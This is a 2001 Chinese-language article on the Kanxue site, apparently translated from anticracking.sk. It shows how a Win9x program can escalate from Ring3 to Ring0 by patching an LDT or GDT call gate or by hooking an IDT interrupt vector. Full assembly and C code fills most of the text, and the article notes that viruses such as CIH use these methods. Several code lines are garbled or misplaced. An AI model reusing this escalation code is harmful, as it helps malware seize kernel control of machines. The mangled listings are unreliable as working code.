win9x下ring0的實現(翻譯自www.anticracking.sk) (16千字)

看雪資料發表於2001-01-24

--------------------------------------------------------------------------------
談談Ring0的實現
--------------------------------------------------------------------------------

處理器有4個級的優先權:Ring0,Ring1,Ring2,Ring3.

大多數程式執行於Ring3這個級別。Ring3有很多限制,

如: 我們不能讀DR(debug-registers,除錯暫存器),所有關於 DR的指令都不起作用。(如:mov eax,dr7).

對我們來說當然是優先順序越高越好,所以我們要使我們的 程式執行在Ring0.但是隻有少數的特殊的程式有Ring0的優先權。

裝置驅動程式執行於Ring0,但它的程式碼可不簡單!

所幸,Windows有很多漏洞,特別是Win9X。有很多方法可以將 程式的優先順序從Ring3變成Ring0.

這些方法被很多病毒所用, 當然,我們還有更多,更好的用途!

這些方法只適用於Win9X,不適用WinNT。因為WinNT是駭客的主要攻擊物件,它的漏洞都添的差不多了。

可以在程式中加入程式碼 先判斷作業系統是否Win9X,若是就可以用了。

如果一定要在 WinNT或Win2K下用Ring0,就要編寫裝置驅動了。

如果你是admin(管理員)級別的使用者,那還有別的方法,但前提是你必須有admin的級別。

對一般使用者來說這是個好訊息,因為Win下的病毒沒那麼好編, 那些病毒作者就要費老勁了!


--------------------------------------------------------------------------------

Part I

下面介紹一下改變優先權至Ring0的方法用LDT(Locale Descriptor Table):

這個古老的方法極少被用。這不是最好的方法,但至少比用IDT 好,原因嘛?因為它鮮為人知。 下面是程式範例:



--------------------------------------------------------------------------------
.386p
.MODEL FLAT,STDCALL
locals
jumps
UNICODE=0
include w32.inc
Extrn SetUnhandledExceptionFilter : PROC

.data

msg1
db "Switch to Ring0 by LDT",0

msg2

db "Ring0 activated",0


gdt_
df 0

call_
dd 00
dw 0Fh

o_gate
.code
dw 0
dw 028h ;segment for RING0
dw 0EC00h
dw 0


Start:


mov eax, offset ring0
;our Ring0 routine
mov [o_gate],ax ;set address of our new Ring0 service to our "callgate" shr eax,16
mov [o_gate+6],ax

xor eax, eax
sgdt fword ptr gdt_
;save GDT mov ebx,dword ptr [gdt_+2] ;GDT base address

sldt
ax
 

add

ebx,eax

;discriptor address


mov
al,[ebx+4]
 

mov
ah,[ebx+7]
 

shl
eax,16
;LDT address



mov ax,[ebx+2] ;callgate's discriptor address

add eax,8
 

mov edi,eax
;set in callgate for changes

mov esi,offset
o_gate
;our "callgate" address

movsd
;move it to real callgate

movsd
;for jump to Ring0



call fword ptr [call_]
;jump to Ring0 to our Ring0 service

xor eax, eax
 

sub edi,8
stosd
stosd
;delete our changes in callgate





call MessageBoxA,0, offset msg2, offset msg1,0
call ExitProcess, -1





--------------------------------------------------------------------------------
;Our new Ring0 service

--------------------------------------------------------------------------------

ring0:
mov eax, dr7 ;test for Ring0

retf ;back to RING3
ends
end Start
--------------------------------------------------------------------------------

Part II

下面是我在網上找到的例子,是Sopinky用C寫的。


Example:



--------------------------------------------------------------------------------

Main.CPP



--------------------------------------------------------------------------------
#include <WINDOWS.h>
#include "DirectHackers.h"



//it is a example of a proc in Ring 0
Ring0Proc()
{
InitRing0();
__asm
    {
          int 20h                      //get current vm
        _emit 0x01                    //Function ID
            _emit 0x00
        _emit VMM_ID                  //VXD ID
            _emit 0x00
                                        //in ebx i have the handle
                                        //of virtual machine
    }

RetCallback;
};
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance, PSTR lpCmdLine,int nCmdShow)
{
MSG msg ;
DWORD a;
int x;
__asm pusha
InitDirectH();
CallRing0((unsigned int)Ring0Proc);
__asm popa
return 0;
}

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;A .h Files;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
DirectHackers.h



--------------------------------------------------------------------------------
#ifndef __DirectHackers_h
#define __DirectHackers_h

#include "VMMStruct.h"
//Data
DWORD VM=0,TR=0;
Control_Block *VMCBSystem=0,*VMCB=0;
DWORD esp3;
WORD cs3,ds3,es3,sp3,fs3,gs3; //State of ring 3 register
WORD cs0,ds0,es0,fs0,gs0; //State of ring 0 register

Comp *Callb,Callbcpy; //a callbacks

//to return of ring 0
#define RetCallback \
_asm sti \
_asm pop edi \
_asm pop esi \
_asm pop ebx \
_asm leave \
_asm retf;

InitDirectH()
{
FPWORD gdt; //Base of GDT
Descriptor *gdtdesc;
word a;
__asm sgdt gdt; //get the addres of GDT
gdtdesc=(Descriptor *)gdt.base;

__asm //Save the ring 3 Segments selectors
{
mov cs3,cs
mov ds3,ds
mov es3,es
mov sp3,sp
mov fs3,fs
mov gs3,gs
mov esp3,esp
}

//Serch for the adecuate CS
for(a=0;a<(gdt.limite>>3);a++)
{
gdtdesc=(Descriptor *)(gdt.base+((DWORD)0x08*a));
if(gdtdesc->limit_l==0xffff &&
gdtdesc->base_l==0x0000 &&
gdtdesc->base_m==0x00 &&
gdtdesc->access==0x9b &&
gdtdesc->limit_h== 0xcf &&
gdtdesc->base_h==0x00)break;



}
cs0=a<<3;

                                        //Serch for the adecuate DS, ES, Etc
for(a=0;a<(gdt.limite>>3);a++)
{
gdtdesc=(Descriptor *)(gdt.base+((DWORD)0x08*a));
        if(gdtdesc->limit_l==0xffff &&
        gdtdesc->base_l==0x0000  &&
        gdtdesc->base_m==0x00    &&
        gdtdesc->access==0x93    &&
        gdtdesc->limit_h== 0xcf  &&
        gdtdesc->base_h==0x00)break;
        }
ds0=a<<3;
es0=a<<3;
fs0=a<<3;
gs0=a<<3;
}

                                        //Call a proc and switch to ring 0
CallRing0(DWORD PUNTERO)
{
FPWORD gdt;
Descriptor *gdtdesc;
Comp *Callb,Callbcpy;
FARJMP salto;
WORD h,l;
salto.offset32=0;
salto.seg=0x08;

        __asm  sgdt  gdt;
        gdtdesc=(Descriptor *)(gdt.base+8);
        Callb=(Comp *)(gdt.base+8);

        Callbcpy.sel=Callb->sel;      //make a copy
        Callbcpy.attrib=Callb->attrib;
        Callbcpy.offs_l=Callb->offs_l;
        Callbcpy.offs_h=Callb->offs_h;

        Callb->sel=cs0;
        Callb->attrib=0xec00;;

__asm
        {
        mov eax,PUNTERO
        mov l,ax
        shr eax,16
        mov h,ax
    }
        Callb->offs_l=l;
        Callb->offs_h=h;
__asm {
          push ds
                  push es
                  push gs
                  push fs
      }                                //save the ring 3 segment selectors



__asm
//Call the CALL GATE!!!!

cli
{
 


call FWORD PTR
}
__asm
{
cli
pop fs
salto
//restore de segment selectors in ring 3



pop gs
pop es
pop ds


    sti
        }
return;
}




InitRing0()
{
        FPWORD gdt;
        Comp *Callb;

        __asm  sgdt  gdt;
        __asm  cli
        Callb=(Comp *)(gdt.base+8);
        Callb->sel=Callbcpy.sel;
        Callb->attrib=Callbcpy.attrib;
        Callb->offs_l=Callbcpy.offs_l;
        Callb->offs_h=Callbcpy.offs_h;
        __asm
        {
        mov ds,ds0
        mov es,es0
        mov fs,fs0
        mov gs,gs0
        sti

                                        //int 3h
        int 20h
        _emit 0x08                    //get the thead handle
        _emit 0x01
        _emit VMM_ID
        _emit 0x00
          mov TR,edi
        int 20h
        _emit 0x01                    //get current vm
        _emit 0x00
        _emit VMM_ID
        _emit 0x00
          mov  VM,ebx                  //current VM handle, osea de sistema
        sti
        }
}
#endif

------------------------------------****--------------------------------------
VMMStruct.h
------------------------------------****--------------------------------------
#ifndef __vmmstruct_h
#define __vmmstruct_h

                                        //definitions
#define Get_Cur_VM_Handle 0x01
#define Get_VMM_Version  0x00
#define VMM_ID 0x01
#define VDD_ID 0x0a
#define VFD_ID 0x0011f;
#define VWIN32_ID  0x0002A
#define SHELL_ID  0x00017
#define word  unsigned short
#define dword unsigned int
#define DWORD  unsigned int
#define WORD  unsigned short
#define byte  unsigned char
#define BYTE  unsigned char

                                        //Structs
#pragma pack(1)
typedef struct
{
    word  limite;
        dword base;
}FPWORD;

typedef struct
{
        dword offset32;
        word  seg;
}FARJMP;

                                        //struct of descriptors
typedef struct
{
WORD limit_l;
WORD base_l;
BYTE base_m;
BYTE access;
BYTE limit_h;
BYTE base_h;
}Descriptor;

typedef struct
{
WORD desp_l;
WORD sel;
BYTE tipo_l;
BYTE tipo_h;
BYTE desp_h;
}Idt_Descriptor;

                                        //compuertas del 386
typedef struct
{
WORD offs_l;
WORD sel;
WORD attrib;
WORD offs_h;
}Comp;

                                        //Description Block
typedef struct  {
    ULONG DDB_Next;                    /* VMM RESERVED FIELD */
    USHORT DDB_SDK_Version;            /* INIT <DDK_VERSION> RESERVED FIELD */
    USHORT DDB_Req_Device_Number;      /* INIT <UNDEFINED_DEVICE_ID> */
    UCHAR DDB_Dev_Major_Version;        /* INIT <0> Major device number */
    UCHAR DDB_Dev_Minor_Version;        /* INIT <0> Minor device number */
    USHORT DDB_Flags;                  /* INIT <0> for init calls complete */
    UCHAR DDB_Name[8];                  /* AINIT <"        "> Device name */
    ULONG DDB_Init_Order;              /* INIT <UNDEFINED_INIT_ORDER> */
    ULONG DDB_Control_Proc;            /* Offset of control procedure */
    ULONG DDB_V86_API_Proc;            /* INIT <0> Offset of API procedure */
    ULONG DDB_PM_API_Proc;              /* INIT <0> Offset of API procedure */
    ULONG DDB_V86_API_CSIP;            /* INIT <0> CS:IP of API entry point */
    ULONG DDB_PM_API_CSIP;              /* INIT <0> CS:IP of API entry point */
    ULONG DDB_Reference_Data;          /* Reference data from real mode */
    ULONG DDB_Service_Table_Ptr;        /* INIT <0> Pointer to service table */
    ULONG DDB_Service_Table_Size;      /* INIT <0> Number of services */
    ULONG DDB_Win32_Service_Table;      /* INIT <0> Pointer to Win32 services */
    ULONG DDB_Prev;                    /* INIT <'Prev'> Ptr to prev 4.0 DDB */
    ULONG DDB_Size;                    /* INIT <SIZE(VxD_Desc_Block)> Reserved */
    ULONG DDB_Reserved1;                /* INIT <'Rsv1'> Reserved */
    ULONG DDB_Reserved2;                /* INIT <'Rsv2'> Reserved */
    ULONG DDB_Reserved3;                /* INIT <'Rsv3'> Reserved */
}Desc_Block;




                                        //Control block
typedef struct  {
    ULONG Client_EDI;                  /* Client's EDI */
    ULONG Client_ESI;                  /* Client's ESI */
    ULONG Client_EBP;                  /* Client's EBP */
    ULONG Client_res0;                  /* ESP at pushall */
    ULONG Client_EBX;                  /* Client's EBX */
    ULONG Client_EDX;                  /* Client's EDX */
    ULONG Client_ECX;                  /* Client's ECX */
    ULONG Client_EAX;                  /* Client's EAX */
    ULONG Client_Error;                /* Dword error code */
    ULONG Client_EIP;                  /* EIP */
    USHORT Client_CS;                  /* CS */
    USHORT Client_res1;                /*  (padding) */
    ULONG Client_EFlags;                /* EFLAGS */
    ULONG Client_ESP;                  /* ESP */
    USHORT Client_SS;                  /* SS */
    USHORT Client_res2;                /*  (padding) */
    USHORT Client_ES;                  /* ES */
    USHORT Client_res3;                /*  (padding) */
    USHORT Client_DS;                  /* DS */
    USHORT Client_res4;                /*  (padding) */
    USHORT Client_FS;                  /* FS */
    USHORT Client_res5;                /*  (padding) */
    USHORT Client_GS;                  /* GS */
    USHORT Client_res6;                /*  (padding) */
    ULONG Client_Alt_EIP;
    USHORT Client_Alt_CS;
    USHORT Client_res7;
    ULONG Client_Alt_EFlags;
    ULONG Client_Alt_ESP;
    USHORT Client_Alt_SS;
    USHORT Client_res8;
    USHORT Client_Alt_ES;
    USHORT Client_res9;
    USHORT Client_Alt_DS;
    USHORT Client_res10;
    USHORT Client_Alt_FS;
    USHORT Client_res11;
    USHORT Client_Alt_GS;
    USHORT Client_res12;
}Client_Reg_Struc;

typedef struct Thread_Control_Block {
    ULONG  TCB_Flags;                  /* Thread status flags */
    ULONG  TCB_Reserved1;              /* Used internally by VMM */
    ULONG  TCB_Reserved2;              /* Used internally by VMM */
    ULONG  TCB_Signature;
    ULONG  TCB_ClientPtr;              /* Client registers of thread */
    ULONG  TCB_VMHandle;              /* VM that thread is part of */
    USHORT  TCB_ThreadId;              /* Unique Thread ID */
    USHORT  TCB_PMLockOrigSS;          /* Original SS:ESP before lock stack */
    ULONG  TCB_PMLockOrigESP;
    ULONG  TCB_PMLockOrigEIP;          /* Original CS:EIP before lock stack */
    ULONG  TCB_PMLockStackCount;
    USHORT  TCB_PMLockOrigCS;
    USHORT  TCB_PMPSPSelector;
    ULONG  TCB_ThreadType;            /* dword passed to VMMCreateThread */
    USHORT  TCB_pad1;                  /* reusable; for dword align */
    UCHAR  TCB_pad2;                  /* reusable; for dword align */
    UCHAR  TCB_extErrLocus;            /* extended error Locus */
    USHORT  TCB_extErr;                /* extended error Code */
    UCHAR  TCB_extErrAction;          /*      "  "  Action */
    UCHAR  TCB_extErrClass;            /*      "  "  Class */
    ULONG  TCB_extErrPtr;              /*      "  pointer */
}Thread_Control_Block;

typedef struct
{
DWORD CB_VM_Status      ;
DWORD CB_High_Linear    ;
DWORD CB_Client_Pointer ;
DWORD CB_VMID          ;
DWORD CB_Signature      ;
}Control_Block;
#endif



--------------------------------------------------------------------------------

Part III

我想組合語言的例子會比C寫的更簡潔明瞭些!畢竟低層程式碼是彙編的拿手好戲。 下面介紹常用的用IDT(Interupt Descriptor Table)實現Ring0的方法 最早是ELICZ寫的,後來陳盈豪寫CIH也用到了。 這種方法是很常用的,但現在能被大多數的跟蹤程式(Frog-Ice,IceDump)檢測出來, 這就是我推薦LDT方法的原因,好了廢話少說,下面是程式碼。 Example:



--------------------------------------------------------------------------------
.386p
.MODEL FLAT,STDCALL
locals
jumps
UNICODE=0
include w32.inc

Extrn SetUnhandledExceptionFilter : PROC

Interrupt
equ 5
;interrupt number which we will use

.DATA

 
 
;if you use Int 1h or 3h, it will be
;more harder debugg your program


msg1
db
"Switch to
Ring0 by IDT",0

msg2
db
"Ring0 activated",0



.CODE
Start:


push
edx
 

sidt
[esp-2]
;read IDT to stack

pop
edx
;address of Interrupt table

add
edx,(Interrupt*8)+4


 
;Interrupt table base+Int number+size for
;Int in Interrupt table=Int vector address

mov
ebx,[edx]
 

mov

bx,word ptr

[edx-4]
;read old address our interrupt (INT 5h)


lea
edi,InterruptHandler

mov
[edx-4],di
 

ror
edi,16
;set our new interrupt handler

mov

[edx+2],di

 


push
ds
;save registers

push
es
 





int
Interrupt
;jump to Ring0 (our int 5h handler)

pop
es
;restore registers

pop
ds
 





mov [edx-4],bx ;set old int 5h handler ror ebx,16
mov [edx+2],bx
call MessageBoxA,0, offset msg2, offset msg1,0 call ExitProcess, -1






;-----------------------------------------------------------------------------
;OUR NEW INT 5h HANDLER (it run in Ring0)
;-----------------------------------------------------------------------------

InterruptHandler:

mov eax,dr7
;test for Ring0

iretd
;jump back to Ring3





ends
end Start
--------------------------------------------------------------------------------
還有很多方法可以實現Ring0,我也不知道了。大家請自己學習吧。

相關文章